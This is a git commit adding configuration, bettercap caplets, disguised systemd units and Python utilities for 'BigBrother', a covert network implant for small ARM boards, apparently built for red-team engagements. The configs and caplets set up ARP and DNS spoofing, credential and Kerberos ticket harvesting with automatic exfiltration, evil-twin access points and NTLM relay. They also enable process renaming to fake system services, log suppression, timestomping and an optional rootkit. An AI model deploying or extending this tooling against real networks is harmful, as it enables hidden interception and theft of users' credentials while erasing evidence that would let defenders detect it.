Add Phase 1 utility modules: crypto, networking, logging, stealth, resource, permissions, config_loader, bettercap_api

9 files in utils/ providing the shared infrastructure layer:
- crypto: AES-256-GCM file encryption, argon2id/PBKDF2 key derivation, HKDF network unlock, LUKS container management
- networking: interface detection, MAC/IP helpers, BPF compilation via libpcap ctypes, gratuitous ARP, VLAN creation
- logging: encrypted log writer (BBLogger) with rotation, per-module files, stdout suppression for stealth
- stealth: process rename via prctl, cmdline spoofing, sysctl helpers, timestomping, core dump disable
- resource: hardware tier detection (OPi Zero 3 / Pi Zero / generic) via /proc/device-tree and cpuinfo, resource monitoring
- permissions: root/capability checks via capget ctypes, privilege dropping, directory permission enforcement
- config_loader: YAML merge hierarchy (hardware_tiers -> bigbrother -> modules -> stealth -> CLI), tier auto-detection, SIGHUP reload
- bettercap_api: REST client with per-session random credentials, session/events/command methods
This commit is contained in:
n0mad1k
2026-03-18 08:11:25 -04:00
parent 63e317176d
commit 62a1010ab4
35 changed files with 2145 additions and 0 deletions
+11
View File
@@ -0,0 +1,11 @@
storage/
*.pyc
__pycache__/
.venv/
*.db
!data/*.db
.env
*.log
*.pcap
*.pcap.zst
*.pcap.zst.enc
+96
View File
@@ -0,0 +1,96 @@
# BigBrother Master Configuration
# Non-sensitive defaults only. Keys, auth tokens, engagement data
# stored in storage/config/ inside LUKS container.
#
# Platform: Orange Pi Zero 3 (primary), RPi Zero 2W (jumpbox), Debian host
# See hardware_tiers.yaml for tier-specific limits.
device:
platform: "auto" # auto | opi_zero3 | pi_zero | generic
hostname: "iot-sensor-03" # Matches selected MAC profile
install_path: "/opt/.cache/bb" # OPSEC: innocuous install path
network:
primary_interface: "auto" # auto-detect active interface
bridge:
enabled: false
internal: "eth0" # LAN-side (target network)
external: "eth1" # WAN-side (uplink)
wifi:
interface: "wlan0"
cellular:
enabled: false
modem_device: "/dev/ttyUSB0" # SIM7600/EC25 via 13-pin header USB
scope_enforcement: false # Enforce scope.yaml restrictions
scope_file: null # Path to scope.yaml override
connectivity:
# WireGuard primary: zero traffic when idle (PersistentKeepalive=0),
# instant access when operator sends a packet. No beacons, no heartbeats,
# no coordination servers. Completely silent while idle.
primary: "wireguard"
failover_chain:
- wireguard
- tailscale
- reverse_ssh
- cellular
wireguard:
endpoint: "" # operator-controlled WG endpoint (host:port)
private_key_file: "storage/config/wg_private.key"
peer_public_key: ""
allowed_ips: "10.99.0.0/24"
tailscale:
auth_key: "" # Per-engagement auth key
hostname: "" # Matches MAC profile hostname
reverse_ssh:
relay_host: ""
relay_port: 22
relay_user: "bb"
key_file: "storage/config/ssh_relay.key"
security:
encryption: "aes-256-gcm" # PCAP + credential encryption
encryption_key_derive: "argon2id" # argon2id | pbkdf2 (RPi Zero 2W)
luks_container: "storage/encrypted.luks"
kill_switch_enabled: true
dead_man_switch:
enabled: false
interval_hours: 72 # Auto-wipe if no operator checkin
capture:
interface: "auto" # auto-detect or explicit interface
snap_length: 65535 # Full packet capture
pcap_rotation_hours: 1 # Rotate PCAP every hour
pcap_compression: "zstd"
pcap_compression_level: 19 # OPi Zero 3: -19 (max). RPi Zero 2W: auto-downgrade to -3
pcap_format: "pcapng"
pcap_encryption: true # AES-256-GCM post-compression
bpf_filter: "full_capture" # Reference to data/bpf_filters/<name>.bpf
disk_max_pct: 85 # Auto-purge oldest PCAPs above this threshold
stealth:
mac_profile: "auto" # auto | streaming | printer | iot | <specific device_name>
mac_network_type: "auto" # auto | business | home
process_disguise: true # Rename all processes to system service names
log_suppression: true # Suppress syslog/auditd/journald evidence
overlayfs: true # Read-only root + tmpfs overlay (SD protection)
traffic_mimicry: true # Shape exfil to match baseline patterns
baseline:
duration_hours: 48 # Traffic baseline collection period
auto_start: true # Begin baseline on first boot
engagement_phase:
mode: "passive_only" # passive_only | active_allowed
passive_days: 7 # Minimum passive-only observation period
auto_transition: true # Auto-allow active after passive_days
active_allowed_after: null # ISO timestamp override (manual scheduling)
bettercap:
binary: "/usr/local/bin/bettercap"
api_address: "127.0.0.1" # Localhost only -- never network-visible
api_port: 8083
api_user: "bb"
# api_password generated per-session, stored in memory only
default_caplet: "passive_recon"
caplets_path: "config/caplets"
+5
View File
@@ -0,0 +1,5 @@
set arp.spoof.fullduplex true
set arp.spoof.internal false
# targets set dynamically via API
arp.spoof on
net.sniff on
+3
View File
@@ -0,0 +1,3 @@
set dns.spoof.all false
# domains set dynamically via API
dns.spoof on
+7
View File
@@ -0,0 +1,7 @@
set arp.spoof.fullduplex true
set arp.spoof.internal false
set http.proxy.sslstrip false
set net.sniff.verbose false
arp.spoof on
http.proxy on
net.sniff on
+6
View File
@@ -0,0 +1,6 @@
set net.sniff.verbose false
set net.sniff.local true
set net.sniff.output /tmp/bb_sniff.pcap
net.recon on
net.sniff on
events.stream on
+2
View File
@@ -0,0 +1,2 @@
wifi.recon on
wifi.show
+65
View File
@@ -0,0 +1,65 @@
# BigBrother Hardware Tier Definitions
# Platform-specific resource limits and capability gates.
# Platform auto-detected at boot or set in bigbrother.yaml.
# ---------------------------------------------------------------------------
# Orange Pi Zero 3 (4GB) — Primary Implant
# Allwinner H618, 4x Cortex-A53 @ 1.5GHz, WiFi 5 + BT 5.0, 1x GbE
# Dimensions: 50x55mm, ~$29, 0.8W idle / ~3.5W load
# OS: Armbian Debian 12 Bookworm
# ---------------------------------------------------------------------------
opi_zero3:
max_passive: 16 # All passive modules supported
max_active: 6 # Concurrent active module limit
max_ram_mb: 3800 # ~4GB minus OS overhead
zstd_level: 19 # Max compression (10-15x on PCAPs)
kdf: "argon2id" # Strong key derivation
mitmproxy: true # 100-200MB RAM — fits in budget
lkm: false # No kernel headers on Armbian
cellular: true # Via 13-pin header USB breakout
overlayfs_mb: 200 # tmpfs overlay size
thermal_warning: 55 # Celsius — needs heatsink
thermal_shed: 70 # Shed active modules at this temp
wifi_attacks: true # Built-in WiFi 5 supports evil twin
inline_bridge: true # Via USB Ethernet adapter
# ---------------------------------------------------------------------------
# Raspberry Pi Zero 2W — Jumpbox / Beacon
# BCM2710A1, 4x Cortex-A53 @ 1.0GHz, WiFi 4, no Ethernet (USB adapter)
# 512MB RAM — lightweight passive sniffing + callback beacon only.
# No active attack capability. Deploy as decoy/expendable.
# ---------------------------------------------------------------------------
pi_zero:
max_passive: 4 # dns_logger, credential_sniffer, host_discovery, +1
max_active: 0 # No active modules — jumpbox only
max_ram_mb: 410 # 512MB minus OS (~110MB)
zstd_level: 3 # Fast mode (5-8x compression, minimal CPU)
kdf: "pbkdf2" # argon2id too expensive for 512MB
mitmproxy: false # Way too much RAM
lkm: false # No kernel headers
cellular: false # No USB header
overlayfs_mb: 30 # Minimal tmpfs overlay
thermal_warning: 55 # Celsius
thermal_shed: 70 # Shed modules at this temp
wifi_attacks: false # WiFi 4 too weak for evil twin
inline_bridge: false # No Ethernet port
# ---------------------------------------------------------------------------
# Generic Debian Host — Full Capability
# Any x86_64/aarch64 Debian host. No hardware constraints.
# Supports all modules including LKM rootkit.
# ---------------------------------------------------------------------------
generic:
max_passive: 16 # All passive modules
max_active: 99 # Effectively unlimited
max_ram_mb: null # No artificial limit
zstd_level: 19 # Max compression
kdf: "argon2id" # Strong key derivation
mitmproxy: true # Plenty of RAM
lkm: true # Kernel headers available
cellular: true # If USB modem attached
overlayfs_mb: null # Not needed on full host
thermal_warning: 80 # Server-grade thermal limits
thermal_shed: 95 # Server-grade thermal limits
wifi_attacks: true # If wireless adapter present
inline_bridge: true # Dual NIC supported
+307
View File
@@ -0,0 +1,307 @@
# BigBrother Module Configuration
# Per-module enable/disable and parameters.
# Modules gated by hardware tier and engagement phase.
# ---------------------------------------------------------------------------
# Passive Modules (16) — metadata extraction, zero network noise
# ---------------------------------------------------------------------------
passive:
packet_capture:
enabled: true
description: "tcpdump wrapper + zstd + AES-256-GCM rotation pipeline"
rotation_hours: 1
snap_length: 65535
max_pcap_files: 168 # 1 week at hourly rotation
disk_purge_pct: 85
dns_logger:
enabled: true
description: "Per-host DNS query log to SQLite"
batch_size: 1000
flush_interval_s: 60
flag_doh_resolvers: true # Flag DoH blind spots (1.1.1.1, 8.8.8.8, 9.9.9.9)
tls_sni_extractor:
enabled: true
description: "TLS ClientHello SNI extraction to SQLite"
credential_sniffer:
enabled: true
description: "Cleartext + NTLM credential extraction"
auto_exfil: true # Immediate push via data_exfil
protocols:
- ftp
- http_basic
- http_digest
- http_form
- snmp
- ldap_simple
- ntlmv1
- ntlmv2
kerberos_harvester:
enabled: true
description: "AS-REP/TGS-REP ticket extraction for offline cracking"
auto_exfil: true # Tickets expire -- immediate push
host_discovery:
enabled: true
description: "Passive host inventory (ARP/DHCP/mDNS/NetBIOS/SSDP/LLMNR)"
dhcp_fingerprinting: true
os_fingerprint:
enabled: true
description: "p0f-style passive TCP/HTTP/DHCP/SMB/SSH fingerprinting"
traffic_analyzer:
enabled: true
description: "Flow tracking, beacon detection, top talkers, bandwidth profiling"
beacon_threshold_s: 60 # Min interval to flag as beacon
beacon_min_count: 10 # Min occurrences to confirm beacon
vlan_discovery:
enabled: true
description: "802.1Q/DTP/STP/CDP/LLDP/802.1X detection"
network_mapper:
enabled: true
description: "Communication graph construction (all-pairs, protocol/volume)"
snapshot_interval_hours: 4
auth_flow_tracker:
enabled: true
description: "Cross-protocol auth correlation (Kerberos/NTLM/SSH/LDAP)"
smb_monitor:
enabled: true
description: "SMB2/3 share/file access metadata, GPP/SYSVOL detection"
cloud_token_harvester:
enabled: true
description: "Passive AWS/JWT/OAuth token extraction from cleartext HTTP"
ldap_harvester:
enabled: true
description: "LDAP query/response parsing, AD object inventory"
rdp_monitor:
enabled: true
description: "RDP NLA username/hostname/domain extraction"
quic_analyzer:
enabled: true
description: "QUIC Initial packet SNI extraction (RFC 9000/9001)"
db_interceptor:
enabled: false # Enable per-engagement if DB traffic expected
description: "TDS/MySQL/PostgreSQL/Redis/MongoDB login + query metadata"
protocols:
- mssql
- mysql
- postgresql
- redis
- mongodb
# ---------------------------------------------------------------------------
# Active Modules (8) — operator-enabled, bettercap + tool wrappers
# Gated by engagement_phase.mode == active_allowed
# ---------------------------------------------------------------------------
active:
bettercap_mgr:
enabled: true
description: "Central bettercap orchestrator (REST API lifecycle)"
max_restarts: 3
health_poll_interval_s: 10
arp_restore_on_crash: true # Send corrective gratuitous ARPs on crash
arp_spoof:
enabled: false # OPSEC WARNING: most-detected technique
description: "ARP spoofing via bettercap (full-duplex, selective targeting)"
targets: [] # Specific IPs only -- never subnet
gateway: "auto"
dns_poison:
enabled: false
description: "DNS poisoning via bettercap dns.spoof"
domains: {} # domain: target_ip mapping
mode: "selective" # selective | all
dhcp_spoof:
enabled: false
description: "DHCPv6 spoofing via bettercap dhcp6.spoof"
pool_start: ""
pool_end: ""
evil_twin:
enabled: false
description: "hostapd + dnsmasq rogue AP with captive portal"
ssid: ""
channel: 6
portal: "corporate_login" # Template from templates/captive_portals/
wids_observation_hours: 2 # Run wireless IDS detection before activation
ipv6_slaac:
enabled: false
description: "IPv6 SLAAC spoofing (bettercap dhcp6.spoof + mitm6 WPAD)"
responder_mgr:
enabled: false
description: "Responder subprocess wrapper (LLMNR/NBT-NS/mDNS poisoning)"
protocols:
llmnr: true
nbtns: true
mdns: true
analyze_mode: false # Analyze only, no poisoning
mitmproxy_mgr:
enabled: false # OPi Zero 3+ only (100-200MB RAM)
description: "mitmproxy transparent mode with addon scripts"
addons:
- credential_extractor
- cloud_token_extractor
ca_cn: "" # Override default CA CN to match target PKI
ntlm_relay:
enabled: false
description: "ntlmrelayx subprocess wrapper (SMB/LDAP/ADCS relay)"
targets: []
attack: "smb" # smb | ldap | ldaps | http | mssql | adcs
# ---------------------------------------------------------------------------
# Stealth Modules (12) — OPSEC layer
# ---------------------------------------------------------------------------
stealth:
mac_manager:
enabled: true
description: "Innocuous MAC profile database + DHCP/TCP stack spoofing"
process_disguise:
enabled: true
description: "Rename all processes (Python/bettercap/tcpdump) to system services"
log_suppression:
enabled: true
description: "rsyslog filter, auditd exclusion, journald rate-limit, history clear"
encrypted_storage:
enabled: true
description: "LUKS encrypted storage with network-derived key"
tmpfs_manager:
enabled: true
description: "tmpfs for active module working dirs (power loss = destruction)"
watchdog:
enabled: true
description: "Monitor all services + subprocesses, auto-restart (max 3)"
anti_forensics:
enabled: true
description: "Timestomp, secure deletion, no core dumps, no swap"
traffic_mimicry:
enabled: true
description: "Shape implant traffic to match 48h baseline patterns"
ja3_spoofer:
enabled: true
description: "Chrome/Firefox/Edge JA3 on all outbound HTTPS"
ids_tester:
enabled: true
description: "Check planned actions against Snort/Suricata rules"
lkm_rootkit:
enabled: false # Debian host only, requires kernel headers
description: "LKM to hide processes/files/connections from /proc"
overlayfs_manager:
enabled: true
description: "Read-only root FS + tmpfs overlay (zero SD writes)"
# ---------------------------------------------------------------------------
# Intelligence Modules (8) — on-device analysis + aggregation
# ---------------------------------------------------------------------------
intel:
credential_db:
enabled: true
description: "Central credential store (bettercap/Responder/mitmproxy ingestion)"
dedup: true
export_formats:
- hashcat
- csv
- json
topology_mapper:
enabled: true
description: "Network topology aggregation + Graphviz DOT/SVG output"
net_intel:
enabled: true
description: "Beacon/C2 detection, anomaly baseline, service dependency mapping"
user_timeline:
enabled: true
description: "Per-user activity timeline (logins, services, files, websites)"
supply_chain_detect:
enabled: true
description: "Detect internal repos, WSUS, CA, SCCM, container registries, CI/CD"
change_detector:
enabled: true
description: "Continuous baseline diff (new hosts, services, scan activity)"
check_interval_s: 300
security_posture:
enabled: true
description: "Detect EDR/SIEM/NAC/honeypots/vuln scanners/network taps"
operator_audit:
enabled: true
description: "Append-only HMAC-chained SSH session + command audit trail"
tool_output_parser:
enabled: true
description: "Parse bettercap events, Responder logs, mitmproxy flows"
# ---------------------------------------------------------------------------
# Connectivity Modules (8) — operator access + data exfil
# ---------------------------------------------------------------------------
connectivity:
wireguard:
enabled: true
description: "Primary C2 -- zero traffic when idle, instant on demand"
persistent_keepalive: 0 # Silent until operator connects
tailscale:
enabled: false # Only if WG blocked or target has existing TS traffic
description: "Fallback mesh VPN via Tailscale"
bridge:
enabled: false
description: "Transparent inline bridge (802.1X bypass, STP/CDP suppression)"
failsafe_timeout_s: 15 # C watchdog failsafe
wifi_client:
enabled: false
description: "WPA2-PSK/Enterprise WiFi client via wpa_supplicant"
reverse_tunnel:
enabled: false
description: "autossh reverse SSH (over WebSocket or TLS, never raw on 443)"
cellular_backup:
enabled: false # OPi Zero 3+ only (13-pin header USB)
description: "LTE modem out-of-band backup (SIM7600/EC25)"
ble_emergency:
enabled: false
description: "BLE GATT server for emergency status/kill/reboot (PSK auth)"
data_exfil:
enabled: true
description: "Priority push (creds), nightly sync (intel), on-demand pull (PCAPs)"
cred_push_immediate: true
intel_sync_hour: 3 # 03:00 local time
respect_mimicry: true # Shape to baseline traffic patterns
+28
View File
@@ -0,0 +1,28 @@
# BigBrother Scope Enforcement
# Optional. When enabled, all passive/active modules respect these boundaries.
# Prevents accidental out-of-scope activity during engagements.
enabled: false
# In-scope target networks (CIDR notation)
networks: []
# - 10.10.0.0/16
# - 10.0.0.0/24
# In-scope individual hosts (IP or FQDN)
hosts: []
# - dc01.corp.local
# - 10.10.1.50
# In-scope domains (wildcard matching)
domains: []
# - corp.local
# - internal.example.com
# Excluded networks — always out of scope (overrides networks/hosts above)
exclude_networks: []
# - 10.10.99.0/24 # OT segment
# Excluded hosts — always out of scope
exclude_hosts: []
# - 10.10.1.1 # Production gateway
+53
View File
@@ -0,0 +1,53 @@
# BigBrother Stealth / OPSEC Profile
# Process disguise, log suppression, anti-forensics, traffic mimicry.
# ---------------------------------------------------------------------------
# Process Name Disguise
# All managed processes renamed to innocuous system service names.
# /proc/PID/exe still points to real binary (unavoidable without LKM).
# ---------------------------------------------------------------------------
process_names:
python3: "systemd-thermald"
bettercap: "networkd-dispatcher"
tcpdump: "systemd-netlogd"
responder: "systemd-resolved"
mitmproxy: "systemd-networkd"
ntlmrelayx: "systemd-logind"
hostapd: "wpa_supplicant"
dnsmasq: "systemd-resolved"
# ---------------------------------------------------------------------------
# Log Suppression
# Minimize forensic artifacts in system logs.
# ---------------------------------------------------------------------------
log_suppression:
rsyslog_filter: true # Drop log entries matching our processes/paths
auditd_exclusion: true # Exclude our PIDs/paths from audit rules
journald_rate_limit: true # Rate-limit journal entries from our services
bash_history: false # Disable bash history for root/.bashrc
utmp_wtmp: false # Suppress login records (utmp/wtmp/btmp)
# ---------------------------------------------------------------------------
# Anti-Forensics
# Minimize on-disk evidence.
# ---------------------------------------------------------------------------
anti_forensics:
timestomp: true # Match all file timestamps to reference file
timestomp_reference: "/etc/os-release" # Use OS install date as reference
core_dumps: false # Disable core dumps (ulimit -c 0)
swap: false # Disable swap entirely (swapoff -a)
secure_delete: true # Overwrite before unlink for sensitive files
bettercap_home_tmpfs: true # Set $HOME to tmpfs (no ~/.bettercap/ artifacts)
bettercap_no_history: true # --no-history flag for bettercap
# ---------------------------------------------------------------------------
# Traffic Mimicry
# Shape implant traffic to match observed network baseline.
# ---------------------------------------------------------------------------
traffic_mimicry:
enabled: true
baseline_hours: 48 # Duration of traffic baseline collection
shape_exfil: true # Time and size exfil to match upload patterns
match_protocols: true # Use same protocols as observed traffic
match_timing: true # Match time-of-day activity patterns
jitter_pct: 15 # Random jitter on all timed operations
+2
View File
@@ -0,0 +1,2 @@
# HTTP Basic/NTLM auth, FTP, Telnet, SMTP, POP3, IMAP, LDAP bind, Kerberos AS-REQ
port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445
+2
View File
@@ -0,0 +1,2 @@
# ARP, DHCP, mDNS, SSDP, LLMNR, NetBIOS
arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138
+1
View File
@@ -0,0 +1 @@
port 53
+1
View File
@@ -0,0 +1 @@
# Everything — no filter
View File
View File
+12
View File
@@ -0,0 +1,12 @@
click>=8.1
rich>=13.0
pyyaml>=6.0
cryptography>=41.0
scapy>=2.5
requests>=2.31
dpkt>=1.9
zstandard>=0.22
python-magic>=0.4
dnslib>=0.9
argon2-cffi>=23.1
jinja2>=3.1
View File
+17
View File
@@ -0,0 +1,17 @@
[Unit]
Description=Network Interface Statistics Collector
After=bigbrother-core.service
Requires=bigbrother-core.service
[Service]
Type=simple
ExecStart=/usr/bin/tcpdump -i any -s 65535 -w /opt/.cache/bb/storage/pcaps/capture.pcap -G 3600 -z /opt/.cache/bb/scripts/rotate_pcap.sh
WorkingDirectory=/opt/.cache/bb
Restart=on-failure
RestartSec=5
User=root
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
+17
View File
@@ -0,0 +1,17 @@
[Unit]
Description=System Thermal Management Daemon
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
ExecStart=/opt/.cache/bb/.venv/bin/python3 /opt/.cache/bb/bigbrother.py start --daemon
WorkingDirectory=/opt/.cache/bb
Restart=on-failure
RestartSec=10
User=root
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
+17
View File
@@ -0,0 +1,17 @@
[Unit]
Description=System Health Monitor
After=bigbrother-core.service
Requires=bigbrother-core.service
[Service]
Type=simple
ExecStart=/opt/.cache/bb/.venv/bin/python3 -c "from core.resource_monitor import ResourceMonitor; ResourceMonitor().run()"
WorkingDirectory=/opt/.cache/bb
Restart=always
RestartSec=30
User=root
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
View File
View File
View File
View File
+16
View File
@@ -0,0 +1,16 @@
from utils.crypto import encrypt_file, decrypt_file, derive_key, CryptoEngine
from utils.networking import (
get_primary_interface, get_bridge_candidates, get_wifi_interfaces,
get_mac, set_mac, get_ip, compile_bpf, send_gratuitous_arp,
interface_up, interface_down, create_vlan_interface,
)
from utils.logging import BBLogger
from utils.stealth import (
rename_process, spoof_cmdline, set_sysctl, timestomp, disable_core_dumps,
)
from utils.resource import HardwareInfo, get_hardware_tier, get_resource_usage
from utils.permissions import (
check_root, check_capability, drop_privileges, enforce_directory_permissions,
)
from utils.config_loader import load_config, ConfigLoader
from utils.bettercap_api import BettercapAPI
+98
View File
@@ -0,0 +1,98 @@
#!/usr/bin/env python3
"""REST client for bettercap API."""
import secrets
import string
from typing import Any, Dict, List, Optional
import requests
from requests.auth import HTTPBasicAuth
class BettercapAPI:
def __init__(
self,
host: str = "127.0.0.1",
port: int = 8083,
user: str = "bb",
password: Optional[str] = None,
timeout: int = 10,
):
self.host = host
self.port = port
self.user = user
self.password = password or self._generate_password()
self.timeout = timeout
self._base_url = f"http://{host}:{port}/api"
self._auth = HTTPBasicAuth(self.user, self.password)
self._session = requests.Session()
self._session.auth = self._auth
self._session.headers.update({"Content-Type": "application/json"})
@staticmethod
def _generate_password(length: int = 32) -> str:
alphabet = string.ascii_letters + string.digits
return "".join(secrets.choice(alphabet) for _ in range(length))
def _request(self, method: str, endpoint: str, **kwargs) -> requests.Response:
url = f"{self._base_url}/{endpoint.lstrip('/')}"
kwargs.setdefault("timeout", self.timeout)
try:
resp = self._session.request(method, url, **kwargs)
resp.raise_for_status()
return resp
except requests.exceptions.ConnectionError:
raise ConnectionError(f"Cannot connect to bettercap at {self.host}:{self.port}")
except requests.exceptions.Timeout:
raise TimeoutError(f"Request to bettercap timed out after {self.timeout}s")
def run(self, command: str) -> Dict[str, Any]:
resp = self._request("POST", "session", json={"cmd": command})
return resp.json()
def get_session(self) -> Dict[str, Any]:
resp = self._request("GET", "session")
return resp.json()
def get_events(self, since: Optional[int] = None) -> List[Dict[str, Any]]:
params = {}
if since is not None:
params["n"] = since
resp = self._request("GET", "events", params=params)
return resp.json()
def is_alive(self) -> bool:
try:
self.get_session()
return True
except (ConnectionError, TimeoutError, requests.exceptions.RequestException):
return False
def start_module(self, module: str) -> Dict[str, Any]:
return self.run(f"{module} on")
def stop_module(self, module: str) -> Dict[str, Any]:
return self.run(f"{module} off")
def set_parameter(self, param: str, value: str) -> Dict[str, Any]:
return self.run(f"set {param} {value}")
def get_hosts(self) -> List[Dict[str, Any]]:
session = self.get_session()
return session.get("lan", {}).get("hosts", [])
def load_caplet(self, caplet_path: str) -> Dict[str, Any]:
return self.run(f"caplet.load {caplet_path}")
@property
def credentials(self) -> Dict[str, str]:
return {"user": self.user, "password": self.password}
@property
def api_flags(self) -> List[str]:
return [
"-api-rest-address", self.host,
"-api-rest-port", str(self.port),
"-api-rest-username", self.user,
"-api-rest-password", self.password,
]
+179
View File
@@ -0,0 +1,179 @@
#!/usr/bin/env python3
"""YAML config loader with merge hierarchy, hardware tier detection, and SIGHUP reload."""
import copy
import os
import signal
import threading
from pathlib import Path
from typing import Any, Callable, Dict, List, Optional
import yaml
from utils.resource import get_hardware_tier
CONFIG_DIR = "config"
MERGE_ORDER = [
"hardware_tiers.yaml",
"bigbrother.yaml",
"modules.yaml",
"stealth.yaml",
]
def deep_merge(base: dict, override: dict) -> dict:
result = copy.deepcopy(base)
for key, value in override.items():
if key in result and isinstance(result[key], dict) and isinstance(value, dict):
result[key] = deep_merge(result[key], value)
else:
result[key] = copy.deepcopy(value)
return result
class ConfigLoader:
def __init__(
self,
config_dir: str = CONFIG_DIR,
cli_overrides: Optional[Dict[str, Any]] = None,
auto_detect_tier: bool = True,
):
self.config_dir = Path(config_dir)
self.cli_overrides = cli_overrides or {}
self.auto_detect_tier = auto_detect_tier
self._config: Dict[str, Any] = {}
self._lock = threading.Lock()
self._reload_callbacks: List[Callable] = []
self._loaded = False
def load(self) -> Dict[str, Any]:
with self._lock:
self._config = self._build_config()
self._loaded = True
return copy.deepcopy(self._config)
def _build_config(self) -> Dict[str, Any]:
merged: Dict[str, Any] = {}
for filename in MERGE_ORDER:
filepath = self.config_dir / filename
if filepath.exists():
try:
with open(filepath, "r") as f:
data = yaml.safe_load(f) or {}
merged = deep_merge(merged, data)
except (yaml.YAMLError, IOError):
continue
# Apply hardware tier defaults
if self.auto_detect_tier:
merged = self._apply_tier_limits(merged)
# Apply CLI overrides last (highest priority)
if self.cli_overrides:
merged = deep_merge(merged, self.cli_overrides)
# Validate
self._validate(merged)
return merged
def _apply_tier_limits(self, config: dict) -> dict:
tier = config.get("device", {}).get("platform", "auto")
if tier == "auto":
tier = get_hardware_tier()
config.setdefault("device", {})["platform"] = tier
# Extract tier-specific limits from hardware_tiers section
tiers = config.pop("hardware_tiers", {})
tier_config = tiers.get(tier, tiers.get("generic", {}))
if tier_config:
config = deep_merge(config, tier_config)
# Apply well-known tier constraints
if tier == "pi_zero":
config.setdefault("capture", {})["pcap_compression_level"] = 3
config.setdefault("security", {})["encryption_key_derive"] = "pbkdf2"
# Limit passive modules
limits = config.setdefault("limits", {})
limits.setdefault("max_passive_modules", 4)
limits.setdefault("max_active_modules", 0)
elif tier == "opi_zero3":
config.setdefault("capture", {})["pcap_compression_level"] = 19
config.setdefault("security", {})["encryption_key_derive"] = "argon2id"
limits = config.setdefault("limits", {})
limits.setdefault("max_passive_modules", 16)
limits.setdefault("max_active_modules", 6)
else:
config.setdefault("capture", {})["pcap_compression_level"] = 19
config.setdefault("security", {})["encryption_key_derive"] = "argon2id"
limits = config.setdefault("limits", {})
limits.setdefault("max_passive_modules", 16)
limits.setdefault("max_active_modules", -1) # unlimited
return config
def _validate(self, config: dict) -> None:
device = config.get("device", {})
platform = device.get("platform", "")
if platform and platform not in ("auto", "opi_zero3", "pi_zero", "generic"):
raise ValueError(f"Invalid platform: {platform}")
capture = config.get("capture", {})
comp_level = capture.get("pcap_compression_level")
if comp_level is not None and not (1 <= comp_level <= 22):
raise ValueError(f"Invalid compression level: {comp_level}")
bettercap = config.get("bettercap", {})
port = bettercap.get("api_port")
if port is not None and not (1 <= port <= 65535):
raise ValueError(f"Invalid bettercap API port: {port}")
security = config.get("security", {})
kdf = security.get("encryption_key_derive")
if kdf and kdf not in ("argon2id", "pbkdf2"):
raise ValueError(f"Invalid key derivation method: {kdf}")
def get(self, key_path: str, default: Any = None) -> Any:
with self._lock:
keys = key_path.split(".")
current = self._config
for k in keys:
if isinstance(current, dict) and k in current:
current = current[k]
else:
return default
return copy.deepcopy(current)
def reload(self) -> Dict[str, Any]:
config = self.load()
for cb in self._reload_callbacks:
try:
cb(config)
except Exception:
pass
return config
def on_reload(self, callback: Callable):
self._reload_callbacks.append(callback)
def register_sighup(self):
def _handler(signum, frame):
self.reload()
signal.signal(signal.SIGHUP, _handler)
@property
def config(self) -> Dict[str, Any]:
with self._lock:
if not self._loaded:
return self.load()
return copy.deepcopy(self._config)
def load_config(
config_dir: str = CONFIG_DIR,
cli_overrides: Optional[Dict[str, Any]] = None,
) -> Dict[str, Any]:
loader = ConfigLoader(config_dir=config_dir, cli_overrides=cli_overrides)
return loader.load()
+189
View File
@@ -0,0 +1,189 @@
#!/usr/bin/env python3
"""AES-256-GCM encryption, key derivation, and LUKS container management."""
import os
import struct
import subprocess
import hashlib
from pathlib import Path
from typing import Optional
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
try:
from argon2.low_level import hash_secret_raw, Type
HAS_ARGON2 = True
except ImportError:
HAS_ARGON2 = False
NONCE_SIZE = 12
KEY_SIZE = 32
SALT_SIZE = 16
HEADER_MAGIC = b"BB01"
HEADER_FMT = f"!4s{SALT_SIZE}s{NONCE_SIZE}s"
HEADER_SIZE = struct.calcsize(HEADER_FMT)
def derive_key(password: bytes, salt: bytes, method: str = "argon2id") -> bytes:
if method == "argon2id" and HAS_ARGON2:
return hash_secret_raw(
secret=password,
salt=salt,
time_cost=3,
memory_cost=65536,
parallelism=4,
hash_len=KEY_SIZE,
type=Type.ID,
)
return PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=KEY_SIZE,
salt=salt,
iterations=600_000,
).derive(password)
def derive_network_key(network_secret: bytes, device_serial: bytes) -> bytes:
return HKDF(
algorithm=hashes.SHA256(),
length=KEY_SIZE,
salt=device_serial,
info=b"bigbrother-luks-unlock",
).derive(network_secret)
class CryptoEngine:
def __init__(self, key: bytes):
if len(key) != KEY_SIZE:
raise ValueError(f"Key must be {KEY_SIZE} bytes")
self._aesgcm = AESGCM(key)
self._key = key
def encrypt(self, plaintext: bytes, aad: Optional[bytes] = None) -> bytes:
nonce = os.urandom(NONCE_SIZE)
ct = self._aesgcm.encrypt(nonce, plaintext, aad)
return nonce + ct
def decrypt(self, data: bytes, aad: Optional[bytes] = None) -> bytes:
nonce = data[:NONCE_SIZE]
ct = data[NONCE_SIZE:]
return self._aesgcm.decrypt(nonce, ct, aad)
def encrypt_file(
src: str,
dst: str,
password: bytes,
method: str = "argon2id",
chunk_size: int = 64 * 1024,
) -> None:
salt = os.urandom(SALT_SIZE)
key = derive_key(password, salt, method)
engine = CryptoEngine(key)
with open(src, "rb") as fin:
plaintext = fin.read()
nonce = os.urandom(NONCE_SIZE)
aesgcm = AESGCM(key)
ct = aesgcm.encrypt(nonce, plaintext, None)
with open(dst, "wb") as fout:
fout.write(struct.pack(HEADER_FMT, HEADER_MAGIC, salt, nonce))
fout.write(ct)
def decrypt_file(
src: str,
dst: str,
password: bytes,
method: str = "argon2id",
) -> None:
with open(src, "rb") as fin:
header = fin.read(HEADER_SIZE)
magic, salt, nonce = struct.unpack(HEADER_FMT, header)
if magic != HEADER_MAGIC:
raise ValueError("Invalid encrypted file header")
ct = fin.read()
key = derive_key(password, salt, method)
aesgcm = AESGCM(key)
plaintext = aesgcm.decrypt(nonce, ct, None)
with open(dst, "wb") as fout:
fout.write(plaintext)
class LUKSContainer:
def __init__(self, container_path: str, mount_point: str, mapper_name: str = "bb_storage"):
self.container_path = container_path
self.mount_point = mount_point
